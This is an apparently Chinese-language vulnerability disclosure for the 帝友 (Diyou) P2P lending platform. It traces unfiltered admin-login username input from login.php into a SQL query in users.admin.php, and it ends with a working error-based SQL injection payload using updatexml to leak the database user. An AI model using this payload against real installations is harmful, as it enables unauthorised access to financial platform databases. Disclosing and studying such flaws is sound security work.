帝友p2p借贷系统sql注入

漏洞在 /modules/admin/login.php

```
if (isset($_POST['username'])){
    if (!IsExiest($_POST['username'])){
        $login_msg = $MsgInfo["users_username_empty"];
    }else{
        if (!isset($_POST['valicode']) || ($_POST['valicode']=="" ||
$_POST['valicode']!=$_SESSION['valicode'])){
            $login_msg = $MsgInfo["users_valicode_error"];
        }else{

            //ÓÃ»§µÇÂ¼
            $data['username'] = $_POST['username'];
            $data['password'] = $_POST['password'];
            $result = $users->AdminLogin($data);
            if (!is_array($result)){
                $login_msg = $MsgInfo[$result];
            }else{
                $data['user_id'] = $result['user_id'];
                $data['session_id'] = "dwcms_admin_userid";
                SetCookies($data);

                if (isset($_SESSION['referer_url']) &&
$_SESSION['referer_url']!=""){
                    $referer_url = $_SESSION['referer_url'];
                    $_SESSION['referer_url'] = "";
                    header("location:".$referer_url);
                }else{
                    header("location:".$_A['admin_url']);
                }
            }
        }
    }
}
```

这里 `username` 和 `password` 没有任何过滤。跟踪一下 `AdminLogin` 函数，在 modules/users/users.admin.php 文件

```
function AdminLogin($data){
        global $mysql,$_A,$MsgInfo;

        //ÅÐ¶ÏÓÃ»§²»ÄÜÎª¿Õ
        if (!IsExiest($data['username'])) {
            return "users_username_empty";
        }

        //ÅÐ¶ÏÃÜÂëÊÇ·ñÎª¿Õ
        if (!IsExiest($data['password'])) {
            return "users_password_empty";
        }
```

```
        //ÅÐ¶ÏÓÃ»§ÃÜÂëÊÇ·ñÕýÈ·
        $sql = "select user_id,username from `{users}` where   `username` =
'{$data['username']}'";
        $result = $mysql->db_fetch_array($sql);
        if ($result==false){
            return "users_admin_login_password_error";
        }else{
            $username = $result['username'];
            $user_id = $result['user_id'];
            $sql = "select * from `{users_admin}` where   `user_id` =
'{$result['user_id']}' and `password`='".md5($data['password'])."'";
            $result = $mysql->db_fetch_array($sql);
            $type_id = $result['type_id'];
        }
```

这里 `{$data['username']}` 就是上面 post 传递过来的参数 没有任何过滤直接入SQL语句，导致注入。

payload:

```
http://127.0.0.1/?admin&q=login
postdata:username=1' and
updatexml(1,concat(0x7e,user(),0x7e),1)#&password=12313&valicode=4125&x=46&y=9
```